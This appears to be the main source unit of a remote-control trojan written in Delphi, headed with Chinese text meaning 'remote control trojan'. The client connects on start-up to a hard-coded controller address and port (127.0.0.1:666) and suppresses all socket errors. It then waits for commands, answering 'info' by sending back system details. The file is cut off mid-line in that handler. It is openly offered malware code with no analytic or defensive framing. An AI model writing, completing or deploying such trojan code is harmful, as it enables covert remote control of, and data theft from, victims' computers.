unitprincipal.pas

远程控制辕马

unit UnitPrincipal;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, UnitInformacionDelSistema, ExtCtrls;

type
  TFormPrincipal = class(TForm)
    Cliente: TClientSocket;
    TimerConectar: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure ClienteError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClienteRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure TimerConectarTimer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormPrincipal: TFormPrincipal;
  ip: string;
  port: integer;
  version: string = '1.0';
implementation

{$R *.dfm}

procedure TFormPrincipal.FormCreate(Sender: TObject);
var
 Sem  : THandle;
begin
ip := '127.0.0.1';
port := 666;
Cliente.Host := ip;
Cliente.Port := port;
Cliente.Open;
end;

procedure TFormPrincipal.ClienteError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
ErrorCode := 0;
end;

procedure TFormPrincipal.ClienteRead(Sender: TObject;
  Socket: TCustomWinSocket);
  var
  date: string;
begin
date := socket.ReceiveText;

if date = 'info' then
begin
socket.SendText('info'+socket.LocalAddress+'